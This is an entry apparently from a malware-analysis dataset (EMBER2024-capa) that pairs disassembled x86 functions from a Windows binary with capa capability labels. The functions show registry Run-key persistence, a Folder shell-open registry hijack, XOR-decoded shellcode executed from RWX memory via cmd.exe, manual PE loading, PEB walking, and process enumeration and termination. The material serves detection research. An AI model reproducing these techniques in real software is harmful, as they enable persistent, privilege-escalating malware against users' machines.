joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f80e
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x1000f880
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push 0x10016e60
push 0x17
push edi
push 0x10014490
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1000f880
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push edi
push edi
push 0x80
push edi
push edi
push edi
mov dword [ebp - 0x10], edi
mov ecx, dword [eax]
push str.rootCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
jns 0x1000f892
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0x10014648
mov ecx, esi
call fcn.100035e5
mov eax, esi
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
push edx
push edi
push 0x20
push str.SELECT_Name_FROM_Win32_VideoController
mov dword [ebp - 0xc], edi
mov ecx, dword [eax]
push 0x10016e58
push eax
call dword [ecx + 0x50]
test eax, eax
jns 0x1000f8c1
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
jmp 0x1000f87a
mov dword [ebp - 8], edi
jmp 0x1000f8fd
test eax, eax
js 0x1000f917
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x28]
push edi
push edi
push edx
mov ecx, dword [eax]
push edi
push str.Name
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x1000f8f4
cmp word [ebp - 0x28], 8
je 0x1000f937
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp eax, 1
jne 0x1000f8c6
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x1000f88e
push dword [ebp - 0x20]
jmp 0x1000f885

Function at 0x1000fe3d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi], ebx
je 0x1000fe53
lea ecx, [edi + 0xc]
call fcn.1001026f
mov ecx, dword [ebp + 0xc]
push esi
mov dword [ebp - 4], ebx
call fcn.10005eff
push dword [ebp + 0x10]
mov esi, eax
push ebx
push ebx
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push esi
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov ebx, eax
push esi
call fcn.10002f91
mov ecx, esi
call fcn.10005eee
cmp dword [edi], 0
pop esi
je 0x1000fea5
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x1000ff27
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
push 5
pop eax
mov edi, ecx
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], eax
call fcn.10001875
lea eax, [ebp - 0x284]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jmp 0x1000fffe
and dword [ebp - 0x34], 0
test byte [ebp - 0x284], 0x10
je 0x1000ff82
xorps xmm0, xmm0
mov dword [ebp - 0x24], 1
movlpd qword [ebp - 0x2c], xmm0
jmp 0x1000ff98
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x268]
and dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 8]
call fcn.100035e5
push eax
lea ecx, [ebp - 0x34]
call fcn.10003437
mov ecx, dword [ebp - 8]
call fcn.10005ea5
and dword [ebp - 8], 0
lea eax, [ebp - 0x34]
sub esp, 0x18
mov esi, esp
mov ecx, esi
push eax
call fcn.1000362d
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x18]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0x10], eax
call fcn.10001776
mov ecx, dword [ebp - 0x34]
call fcn.10005ea5
lea eax, [ebp - 0x284]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000ff64
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.10001361
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1001001c
push ecx
call fcn.10001ad5
mov ecx, dword [ebp + 8]
call fcn.10005ea5
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001002b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x208
mov dword [ebp - 8], edi
call fcn.10005f53
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x24]
push 5
mov ebx, eax
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.100019f6
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, eax
cmp esi, 0x104
jbe 0x1001008d
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
call fcn.10005f53
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor esi, esi
cmp word [ebx], si
je 0x10010106
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 0x14], esi
call fcn.100035e5
push eax
lea ecx, [ebp - 0x14]
call fcn.10003437
mov ecx, dword [ebp - 4]
call fcn.10005ea5
push dword [ebp - 0x14]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub esp, 0xc
mov edi, eax
mov esi, esp
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
call fcn.1000362d
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x24]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
call fcn.10001903
lea ecx, [ebp - 0x14]
call fcn.10003261
mov ecx, dword [ebp - 0x14]
lea ebx, [ebx + eax*2]
add ebx, 2
call fcn.10005ea5
xor esi, esi
mov dword [ebp - 0x14], esi
cmp word [ebx], si
jne 0x10010094
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x24]
mov ecx, edi
push eax
call fcn.100013a8
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x1001011e
push ecx
call fcn.10001b00
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001013d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi], ebx
je 0x10010154
lea ecx, [esi + 0xc]
call fcn.1001026f
push 2
push ebx
push ebx
push dword [esi + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [eax + 4]
push dword [eax]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
cmp dword [esi], ebx
je 0x10010189
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10010192
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push 3
push edi
push 1
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x100101c6
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
jmp 0x100101cb
mov dword [esi + 8], edi
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x10010346
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, 0x5a4d
mov dword [esi + 0x20], edi
cmp word [edi], ax
jne 0x10010446
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x10010446
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
jne 0x100103df
mov dword [esi + 0x40], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x24], eax
push dword [eax + 0x54]
push edi
call fcn.10002f91
mov ecx, dword [esi + 0x24]
and dword [ebp + 8], 0
movzx eax, word [ecx + 0x14]
lea ebx, [ecx + 0x18]
add ebx, eax
xor eax, eax
cmp ax, word [ecx + 6]
jae 0x1001043e
sub esp, 0x30
mov ecx, esp
push ecx
push ebx
push edi
call fcn.10010ac3
lea ecx, [esi + 0x2c]
call fcn.10002296
mov eax, dword [esi + 0x24]
add ebx, 0x28
mov ecx, dword [ebp + 8]
inc ecx
mov dword [ebp + 8], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x100103b3
jmp 0x1001043e
mov edx, 0x8664
cmp cx, dx
jne 0x1001043e
xor ebx, ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x40], ebx
lea ecx, [esi + 0x18]
push dword [eax + 0x54]
push edi
call fcn.10002f91
mov ecx, dword [esi + 0x28]
xor edx, edx
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
mov dword [ebp + 8], eax
cmp dx, word [ecx + 6]
jae 0x1001043e
sub esp, 0x30
mov ecx, esp
push ecx
push eax
push edi
call fcn.10010ac3
lea ecx, [esi + 0x2c]
call fcn.10002296
mov ecx, dword [esi + 0x28]
inc ebx
mov eax, dword [ebp + 8]
add eax, 0x28
mov dword [ebp + 8], eax
movzx ecx, word [ecx + 6]
cmp ebx, ecx
jl 0x10010414
xor eax, eax
inc eax
mov dword [esi + 0x3c], eax
jmp 0x10010448
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x10010620
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push esi
push edi
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
jmp 0x10010640
mov ecx, dword [esi + 0x28]
call fcn.100106de
test eax, eax
je 0x10010649
mov esi, dword [esi]
cmp esi, edi
jne 0x10010632
xor eax, eax
pop edi
pop esi
ret
mov eax, dword [esi + 0x10]
jmp 0x10010646

Function at 0x100106c4
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x100106db
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
je 0x100106dd
xor eax, eax
ret
Function at 0x100109d2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], edx
push edi
mov dword [ebp - 0xc], esi
call fcn.100106c4
mov ebx, eax
test ebx, ebx
je 0x10010abc
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10010abc
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 4], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.1000102c
xor ecx, ecx
add esp, 0xc
xor eax, eax
cmp cx, word [ebx + 6]
jmp 0x10010a75
movzx eax, ax
imul esi, eax, 0x28
mov eax, dword [ebp - 4]
push dword [esi + eax + 8]
mov eax, dword [esi + eax + 0xc]
add eax, edi
push 0
push eax
call fcn.10001052
mov ecx, dword [ebp - 4]
add esp, 0xc
push dword [esi + ecx + 0x10]
mov eax, dword [esi + ecx + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + ecx + 0xc]
add eax, edi
push eax
call fcn.1000102c
mov eax, dword [ebp - 8]
add esp, 0xc
inc eax
cmp ax, word [ebx + 6]
mov dword [ebp - 8], eax
jb 0x10010a31
mov ecx, edi
call fcn.100108fd
mov ecx, eax
mov esi, edx
mov eax, edi
cdq
sub eax, ecx
mov ecx, edi
sbb edx, esi
push edx
push eax
call fcn.10010756
pop ecx
pop ecx
test al, al
je 0x10010ab8
mov ecx, edi
call fcn.100107c4
test al, al
je 0x10010ab8
cmp dword [ebp - 0x10], 0
je 0x10010ab8
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
jmp 0x10010abe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10010bd9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
mov esi, ecx
call fcn.10001052
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push edx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10010c28
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x10010c2a
xor eax, eax
pop esi
pop ebx
leave
ret 0xc

Function at 0x10010c79
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
push 0
push 2
mov ebx, edx
mov dword [ebp - 0x22c], 0x22c
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10010cd5
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x10010cca
cmp dword [ebp - 0x224], ebx
je 0x10010cdf
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10010cb4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
mov ecx, esi
push eax
call fcn.100035e5
jmp 0x10010cd8
Function at 0x10010cf6
Capabilities:
Terminate process

Disassembly:
push edi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10010d20
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x10010d24
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 0x228
xor esi, esi
lea eax, [ebp - 0x254]
push esi
push eax
mov ebx, ecx
call fcn.10001052
add esp, 0xc
mov dword [ebp - 0x258], 0x22c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], esi
push 5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.100016e3
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10010efd
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x10010dce
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.1000131a
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x10010f2a
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x10010f2a
sub edi, 0xc
mov ecx, edi
call fcn.10001416
sub esi, 1
jne 0x10010dba
jmp 0x10010f2a
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.100032ff
push dword [ebp - 0x250]
push esi
push 0x1410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x10010e89
push 0x410
lea eax, [ebp - 0x668]
push 0
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x668]
push 0x208
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
test eax, eax
je 0x10010e5e
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x10]
call fcn.100035e5
push eax
lea ecx, [ebp - 4]
call fcn.10003437
mov ecx, dword [ebp - 0x10]
call fcn.10005ea5
and dword [ebp - 0x10], 0
jmp 0x10010e80
push 0x10014c14
lea ecx, [ebp - 0x14]
call fcn.100035e5
push eax
lea ecx, [ebp - 4]
call fcn.10003437
mov ecx, dword [ebp - 0x14]
call fcn.10005ea5
and dword [ebp - 0x14], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10010eab
push 0x10014c14
lea ecx, [ebp - 0x18]
call fcn.100035e5
push eax
lea ecx, [ebp - 4]
call fcn.10003437
mov ecx, dword [ebp - 0x18]
call fcn.10005ea5
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov esi, esp
mov dword [esi], eax
lea ecx, [esi + 4]
lea eax, [ebp - 8]
push eax
call fcn.1000362d
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 8]
call fcn.1000362d
lea ecx, [ebp - 0x28]
call fcn.100015c0
lea ecx, [ebp - 0xc]
call fcn.10001416
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop esi
test eax, eax
jne 0x10010dce
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.1000131a
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x10010f2a
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x10010f2a
sub edi, 0xc
mov ecx, edi
call fcn.10001416
sub esi, 1
jne 0x10010f1b
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x100114a6
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
push ebx
lea ecx, [edi + 0x30]
call fcn.100023ca
call fcn.1000fbfc
cmp eax, 1
jne 0x100114d0
push 0x23
mov ecx, closesocket
jmp 0x100114d7
push 0x1a
mov ecx, closesocket
pop eax
mov dword [edi + 8], ecx
lea esi, [edi + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer_
lea ecx, [ebp + 8]
mov dword [edi + 0xc], eax
call fcn.100035e5
push eax
mov ecx, esi
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
lea eax, [ebx + 0x30]
push eax
lea ecx, [ebp + 8]
call fcn.1000362d
lea eax, [ebp + 8]
mov ecx, esi
push eax
call fcn.10003335
mov ecx, dword [ebp + 8]
call fcn.10005ea5
push str.inst
lea ecx, [ebp + 8]
call fcn.100035e5
push eax
lea ecx, [edi + 0x18]
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
push str.InitWindows
lea ecx, [ebp + 8]
call fcn.100035e5
push eax
lea ecx, [edi + 0x1c]
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp + 8]
call fcn.100035e5
push eax
lea ecx, [edi + 0x14]
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
push 0
push 0xf003f
push esi
push closesocket
mov ecx, edi
call fcn.1001106c
mov dword [edi + 0x24], eax
test eax, eax
je 0x10011631
xor esi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
cmp dword [ebx + 0x18], esi
je 0x1001160b
lea eax, [ebp - 0xc]
mov ecx, edi
push eax
lea eax, [edi + 0x18]
push eax
call fcn.10010fc3
test eax, eax
je 0x10011608
lea eax, [ebp + 8]
push eax
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.1000304c
push ecx
push ecx
push esp
mov ecx, ebx
call fcn.10005911
lea ecx, [ebp - 0x14]
call fcn.100060aa
add esp, 0x10
mov ecx, eax
call fcn.10002ecf
push eax
lea ecx, [edi + 0x20]
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], esi
call fcn.10003036
mov dword [edi + 0x28], 1
jmp 0x1001160b
mov dword [edi + 0x28], esi
cmp dword [ebx + 0x20], esi
je 0x10011629
lea ecx, [ebp + 8]
call fcn.1000f481
push eax
lea ecx, [edi + 0x20]
call fcn.10003437
mov ecx, dword [ebp + 8]
call fcn.10005ea5
lea ecx, [ebp - 0xc]
call fcn.10003036
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10011855
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001188f
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x100118b7
push esi
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x100118b5
push esi
jmp 0x10011885
mov al, 1
pop esi
leave
ret
Function at 0x10011936
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x800
mov ebx, ecx
call fcn.10001085
mov edi, eax
mov esi, 0x10016070
pop ecx
mov edx, edi
sub esi, edi
mov eax, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub eax, 1
jne 0x1001195a
lea eax, [ebp - 4]
push eax
push 0x40
push 0x7d0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x28
push str.System32cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esi + eax*2]
push ecx
call fcn.1000102c
add esp, 0xc
lea eax, [edi + 0xef]
push 0
push 0
push ebx
push esi
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100119c9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, 0xf003f
push eax
push esi
xor edi, edi
mov ebx, 0x1001726c
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10011a0c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push edi
push edi
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, 0x1014cbf0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push esi
push 1
push edi
push 0x1001728c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10011a3c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
mov edi, 0x208
mov esi, 0x1014cbf0
push edi
push 0
push esi
call fcn.10001052
add esp, 0xc
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10011ab4
call fcn.1000fbfc
cmp eax, 1
je 0x10011ab4
push ebx
call fcn.100119c9
call fcn.10011ca2
push 0x100172c4
mov ebx, eax
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
pop ebx
test eax, eax
je 0x10011ab4
mov ecx, eax
call fcn.10011936
pop edi
xor eax, eax
pop esi
ret